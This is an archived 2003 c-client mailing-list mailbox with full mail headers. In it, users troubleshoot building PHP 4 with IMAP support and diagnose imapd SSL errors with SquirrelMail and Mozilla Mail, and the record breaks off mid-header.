07:43:13 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1JFe2A8022190 for ; Wed, 19 Feb 2003 07:40:02 -0800 Received: from secure4.developerschoice.net (secure4.developerschoice.net [209.69.207.2]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1JFdxPI017566 for ; Wed, 19 Feb 2003 07:40:00 -0800 Received: from taylor.developerschoice.net ([209.69.206.2] helo=dev ident=hidden-user) by secure4.developerschoice.net with asmtp (Exim 3.34 #4) id 18lWKF-0003ZZ-00; Wed, 19 Feb 2003 10:39:59 -0500 Message-Id: <7DFBE66616403040B7740D9380A671C7062EA4@EXCHANGE1.developerschoice.com> Date: Wed, 19 Feb 2003 10:40:00 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jeff Breitner" To: "'Doug Dalton'" , Subject: RE: C-Client and php4 In-Reply-To: <3E532EE0.80004@netreveal.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=I, Probability=1%, Report="IN_REP_TO, PRIORITY_NO_NAME, QUOTED_EMAIL_TEXT, SPAM_PHRASE_00_01, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSMAIL_PRI, __HAS_X_PRIORITY" Check the PHP site documentation under where they have all the user comments. There's a kludge to copy headers from the c-client directory into /usr/local/include (or possibly some other place) and that should solve your problem. As you know, this isn't a c-client problem, it's a PHP configure-time problem. > -----Original Message----- > From: C-CLIENT-owner@u.washington.edu > [mailto:C-CLIENT-owner@u.washington.edu] On Behalf Of Doug Dalton > Sent: Wednesday, February 19, 2003 2:15 AM > To: c-client@u.washington.edu > Subject: C-Client and php4 > > > I have php-4.3.1 runnning currently DSO with apache 1.3.27 on openbsd > 3.0, php-4.3.1 will not build libphp4.so with c-client using the > command line options: > > ./configure --with-mysql --with-apxs=/usr/local/apache/bin/apxs > --enable-track-vars --with-xml --with-imap=/usr/local/imap-2002b > --with-imap-ssl --with-gettext > > but will build and install with: > > ./configure --with-mysql --with-apxs=/usr/local/apache/bin/apxs > --enable-track-vars --with-xml --with-gettext > > imap-2002b is installed and working fine but I get the error > in my php > build: > > Installing PHP CLI binary: /usr/local/bin/ > Installing PHP SAPI module > [activating module `php4' in /usr/local/apache/conf/httpd.conf] > cp libs/libphp4.so /usr/local/apache/libexec/libphp4.so > cp: libs/libphp4.so: No such file or directory > apxs:Break: Command failed with rc=1 > make: *** [install-sapi] Error 1 > > but libs contains two libraries: > > libs> ls > libphp4.a libphp4.la > > Any idea why php will not build with c-client? > > Doug > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > From pinedev@shivax2.cac.washington.edu Wed Feb 19 11:31:37 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 19 Feb 2003 11:31:37 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1JJVbTk005485 for ; Wed, 19 Feb 2003 11:31:37 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1JJVWWn031439 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 19 Feb 2003 11:31:33 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1JJUFhN021210; Wed, 19 Feb 2003 11:30:15 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1JJTJA8020894 for ; Wed, 19 Feb 2003 11:29:19 -0800 Received: from pinkslip.excompany.com ([209.213.213.230]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1JJTHPI031050 for ; Wed, 19 Feb 2003 11:29:17 -0800 Received: from netreveal.com (adsl-66-125-95-112.dsl.sntc01.pacbell.net [66.125.95.112]) by pinkslip.excompany.com (8.12.2/8.12.2) with ESMTP id h1JJPj9i016208; Wed, 19 Feb 2003 11:25:45 -0800 (PST) Message-Id: <3E53DAB9.60906@netreveal.com> Date: Wed, 19 Feb 2003 11:27:53 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Doug Dalton To: Jeff Breitner Cc: c-client@u.washington.edu Subject: Re: C-Client and php4 References: <7DFBE66616403040B7740D9380A671C7062EA4@EXCHANGE1.developerschoice.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How do I debug the error: *** Warning: This library needs some functionality provided by -lc-client. *** I have the capability to make that library automatically link in when *** you link to this library. But I can only do this if you have a *** shared version of the library, which you do not appear to have. *** Warning: libtool could not satisfy all declared inter-library *** dependencies of module libphp4. Therefore, libtool will create *** a static module, that should work as long as the dlopening *** application is linked with the -dlopen flag. When compiling php4 with imap support, I have Imap-2002b working and I have the /usr/local/imap-2002b/lib and include directories setup as described in the documentation? Jeff Breitner wrote: >Check the PHP site documentation under where they have all the user >comments. There's a kludge to copy headers from the c-client directory >into /usr/local/include (or possibly some other place) and that should >solve your problem. > >As you know, this isn't a c-client problem, it's a PHP configure-time >problem. > > > > >>-----Original Message----- >>From: C-CLIENT-owner@u.washington.edu >>[mailto:C-CLIENT-owner@u.washington.edu] On Behalf Of Doug Dalton >>Sent: Wednesday, February 19, 2003 2:15 AM >>To: c-client@u.washington.edu >>Subject: C-Client and php4 >> >> >>I have php-4.3.1 runnning currently DSO with apache 1.3.27 on openbsd >>3.0, php-4.3.1 will not build libphp4.so with c-client using the >>command line options: >> >>./configure --with-mysql --with-apxs=/usr/local/apache/bin/apxs >>--enable-track-vars --with-xml --with-imap=/usr/local/imap-2002b >>--with-imap-ssl --with-gettext >> >>but will build and install with: >> >>./configure --with-mysql --with-apxs=/usr/local/apache/bin/apxs >>--enable-track-vars --with-xml --with-gettext >> >>imap-2002b is installed and working fine but I get the error >>in my php >>build: >> >>Installing PHP CLI binary: /usr/local/bin/ >>Installing PHP SAPI module >>[activating module `php4' in /usr/local/apache/conf/httpd.conf] >>cp libs/libphp4.so /usr/local/apache/libexec/libphp4.so >>cp: libs/libphp4.so: No such file or directory >>apxs:Break: Command failed with rc=1 >>make: *** [install-sapi] Error 1 >> >>but libs contains two libraries: >> >>libs> ls >>libphp4.a libphp4.la >> >>Any idea why php will not build with c-client? >> >>Doug >> >>-- >>------------------------------------------------------------------ >> For information about this mailing list, and its archives, see: >> http://www.washington.edu/imap/c-client-list.html >>------------------------------------------------------------------ >> >> >> From pinedev@shivax2.cac.washington.edu Wed Feb 19 18:28:02 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 19 Feb 2003 18:28:01 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K2S1Tk021482 for ; Wed, 19 Feb 2003 18:28:01 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K2RvVH025584 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 19 Feb 2003 18:27:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1K2QRZD020282; Wed, 19 Feb 2003 18:26:27 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1K2PdA8020088 for ; Wed, 19 Feb 2003 18:25:39 -0800 Received: from lilbuddy.antsclimbtree.com (lilbuddy.antsclimbtree.com [216.27.183.129]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1K2Paxa000343 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 19 Feb 2003 18:25:37 -0800 Received: from adsl-66-122-112-170.dsl.snfc21.pacbell.net ([66.122.112.170] helo=dina) by lilbuddy.antsclimbtree.com with asmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.12) id 18lgPO-0002np-00 for c-client@u.washington.edu; Wed, 19 Feb 2003 18:25:58 -0800 Message-Id: <9774F006-447A-11D7-BBB9-0005025E566F@antsclimbtree.com> Date: Wed, 19 Feb 2003 18:25:34 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: c-client@u.washington.edu Subject: TLS/SSL not working with some clients Mime-Version: 1.0 (Apple Message framework v482) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=IIIIII, Probability=6%, Report="SIGNATURE_SHORT_DENSE, SPAM_PHRASE_00_01, __EVITE_CTYPE" I have imapd running on a FreeBSD 4.7 box, compiled via the ports tree with SSL support (this is the default). I'm getting the following errors in /var/log/maillog when connecting with Squirrelmail 1.4.0 RC2a: Feb 19 16:40:41 lilbuddy imapd[84173]: Unable to accept SSL connection, host=localhost [127.0.0.1] Feb 19 16:40:41 lilbuddy imapd[84173]: SSL error status: error:140760FC:SSL routines:SSL23_GET_CLIENT_HELLO:unknown protocol I can connect with SSL on port 993 from Mail.app (OSX), Outlook Express, and Mozilla mail just fine. Something is causing a problem when connecting with Squirrelmail. It appears to be an OpenSSL failure, but has anyone seen this or does anyone know how to fix it? I've seen reports via google searches of people having the issue using various clients, like some versions of Eudora, but I haven't found any claims of a solution. Thanks! -- Mark Edwards Engineer Mr. Toad's San Francisco, CA -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Feb 19 18:38:45 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 19 Feb 2003 18:38:45 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K2ciTk021677 for ; Wed, 19 Feb 2003 18:38:44 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K2ceVH025885 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 19 Feb 2003 18:38:41 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1K2bqSR014732; Wed, 19 Feb 2003 18:37:52 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1K2anA8042976 for ; Wed, 19 Feb 2003 18:36:49 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1K2ajwA007655 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 19 Feb 2003 18:36:45 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K2ahGD006185; Wed, 19 Feb 2003 18:36:43 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K2ahFl008495 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 19 Feb 2003 18:36:43 -0800 Message-Id: Date: Wed, 19 Feb 2003 18:36:43 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Edwards Cc: c-client@u.washington.edu Subject: Re: TLS/SSL not working with some clients In-Reply-To: <9774F006-447A-11D7-BBB9-0005025E566F@antsclimbtree.com> References: <9774F006-447A-11D7-BBB9-0005025E566F@antsclimbtree.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Are you sure that Squirrelmail was built with SSL support? This looks like the behavior which occurs when a non-SSL client tries to connect to an SSL server. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Feb 19 18:42:45 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 19 Feb 2003 18:42:45 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K2giTk021783 for ; Wed, 19 Feb 2003 18:42:44 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K2geWn015790 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 19 Feb 2003 18:42:41 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1K2g5SR088994; Wed, 19 Feb 2003 18:42:05 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1K2fbA8022372 for ; Wed, 19 Feb 2003 18:41:37 -0800 Received: from lilbuddy.antsclimbtree.com (lilbuddy.antsclimbtree.com [216.27.183.129]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1K2fYxa003450 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 19 Feb 2003 18:41:35 -0800 Received: from adsl-66-122-112-170.dsl.snfc21.pacbell.net ([66.122.112.170] helo=dina) by lilbuddy.antsclimbtree.com with asmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.12) id 18lgen-0002rW-00; Wed, 19 Feb 2003 18:41:53 -0800 Message-Id: Date: Wed, 19 Feb 2003 18:41:30 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: TLS/SSL not working with some clients In-Reply-To: Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v482) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wednesday, February 19, 2003, at 06:36 PM, Mark Crispin wrote: > Are you sure that Squirrelmail was built with SSL support? This looks > like the behavior which occurs when a non-SSL client tries to connect to > an SSL server. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. Well, this version claims to have TLS support. I have mod_php4 compiled with OpenSSL support, which is what Squirrelmail runs with. -- Mark Edwards Engineer Mr. Toad's San Francisco, CA From pinedev@shivax2.cac.washington.edu Wed Feb 19 18:44:54 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 19 Feb 2003 18:44:54 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K2isTk021835 for ; Wed, 19 Feb 2003 18:44:54 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K2ipVH026061 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 19 Feb 2003 18:44:51 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1K2i80a025452; Wed, 19 Feb 2003 18:44:08 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1K2hjA8020000 for ; Wed, 19 Feb 2003 18:43:45 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1K2hhNM006861 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 19 Feb 2003 18:43:43 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K2hfAa017804; Wed, 19 Feb 2003 18:43:41 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K2hfZI009829 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 19 Feb 2003 18:43:41 -0800 Message-Id: Date: Wed, 19 Feb 2003 18:43:42 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Edwards Cc: c-client@u.washington.edu Subject: Re: TLS/SSL not working with some clients In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 19 Feb 2003, Mark Edwards wrote: > Well, this version claims to have TLS support. I have mod_php4 compiled > with OpenSSL support, which is what Squirrelmail runs with. If it is doing TLS, it will make a port 143 connection and negotiate an IMAP STARTTLS command. If that's happening on port 993 (SSL), that would be the problem. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Feb 19 19:08:02 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 19 Feb 2003 19:08:02 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K381Tk022366 for ; Wed, 19 Feb 2003 19:08:02 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K37rWn016514 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 19 Feb 2003 19:07:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1K370hN004238; Wed, 19 Feb 2003 19:07:00 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1K36JA8022476 for ; Wed, 19 Feb 2003 19:06:19 -0800 Received: from lilbuddy.antsclimbtree.com (lilbuddy.antsclimbtree.com [216.27.183.129]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1K36Gxa008243 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 19 Feb 2003 19:06:17 -0800 Received: from adsl-66-122-112-170.dsl.snfc21.pacbell.net ([66.122.112.170] helo=dina) by lilbuddy.antsclimbtree.com with asmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.12) id 18lh2j-0002ue-00; Wed, 19 Feb 2003 19:06:37 -0800 Message-Id: <457349FA-4480-11D7-BBB9-0005025E566F@antsclimbtree.com> Date: Wed, 19 Feb 2003 19:06:14 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: TLS/SSL not working with some clients In-Reply-To: Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v482) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm also having a different client problem with a different server. I have imapd compiled with SSL and plaintext on my OSX Server 10.1.4 box, and Mail.app and Outlook Express are connecting fine (SSL on 993). However, when I try to use Mozilla Mail to connect using SSL on 993, I get this error in /var/log/maillog: Feb 16 21:43:43 dina imapd[27468]: Unable to accept SSL connection, host=lilbuddy.antsclimbtree.com [216.27.183.129] Feb 16 21:43:43 dina imapd[27468]: SSL error status: error:1408F455:SSL routines:SSL3_GET_RECORD:decryption failed or bad record mac This is very odd, since I have nearly the identical setup on my FreeBSD 4.7 box, and Mozilla Mail connects just fine. I think it is something with OpenSSL, because exim also reports this error when Mozilla Mail tries to connect using STARTTLS on port 25. Again, I've seen people reporting this problem, but no solution. Any ideas? Thanks! -- Mark Edwards Engineer Mr. Toad's San Francisco, CA From pinedev@shivax2.cac.washington.edu Wed Feb 19 19:12:22 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 19 Feb 2003 19:12:22 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K3CLTk022454 for ; Wed, 19 Feb 2003 19:12:21 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K3CIVH026837 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 19 Feb 2003 19:12:18 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1K3BihN004256; Wed, 19 Feb 2003 19:11:44 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1K3BLA8042628 for ; Wed, 19 Feb 2003 19:11:21 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1K3BIPJ024603 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 19 Feb 2003 19:11:18 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K3BGAa020059; Wed, 19 Feb 2003 19:11:16 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K3BGZI010439 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 19 Feb 2003 19:11:16 -0800 Message-Id: Date: Wed, 19 Feb 2003 19:11:17 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Edwards Cc: c-client@u.washington.edu Subject: Re: TLS/SSL not working with some clients In-Reply-To: <457349FA-4480-11D7-BBB9-0005025E566F@antsclimbtree.com> References: <457349FA-4480-11D7-BBB9-0005025E566F@antsclimbtree.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I don't know anything about Mozilla mail or OSX. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Feb 19 19:25:25 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 19 Feb 2003 19:25:25 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K3PPTk022858 for ; Wed, 19 Feb 2003 19:25:25 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K3PMVH027224 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 19 Feb 2003 19:25:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1K3Oe0a015050; Wed, 19 Feb 2003 19:24:40 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1K3O0A8022334 for ; Wed, 19 Feb 2003 19:24:00 -0800 Received: from lilbuddy.antsclimbtree.com (lilbuddy.antsclimbtree.com [216.27.183.129]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1K3NvNM014347 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 19 Feb 2003 19:23:58 -0800 Received: from adsl-66-122-112-170.dsl.snfc21.pacbell.net ([66.122.112.170] helo=dina) by lilbuddy.antsclimbtree.com with asmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.12) id 18lhJr-0002wl-00; Wed, 19 Feb 2003 19:24:19 -0800 Message-Id: Date: Wed, 19 Feb 2003 19:23:56 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: TLS/SSL not working with some clients In-Reply-To: Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v482) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wednesday, February 19, 2003, at 07:11 PM, Mark Crispin wrote: > I don't know anything about Mozilla mail or OSX. Well, I don't know that this problem is specific to either really. So, do you think I need to talk to an openssl list about this one? The failure is simply with openssl? Feb 16 21:43:43 dina imapd[27468]: Unable to accept SSL connection, host=lilbuddy.antsclimbtree.com [216.27.183.129] Feb 16 21:43:43 dina imapd[27468]: SSL error status: error:1408F455:SSL routines:SSL3_GET_RECORD:decryption failed or bad record mac -- Mark Edwards Engineer Mr. Toad's San Francisco, CA From pinedev@shivax2.cac.washington.edu Wed Feb 19 19:43:02 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 19 Feb 2003 19:43:02 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K3h2Tk023253 for ; Wed, 19 Feb 2003 19:43:02 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1K3gvVH027719 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 19 Feb 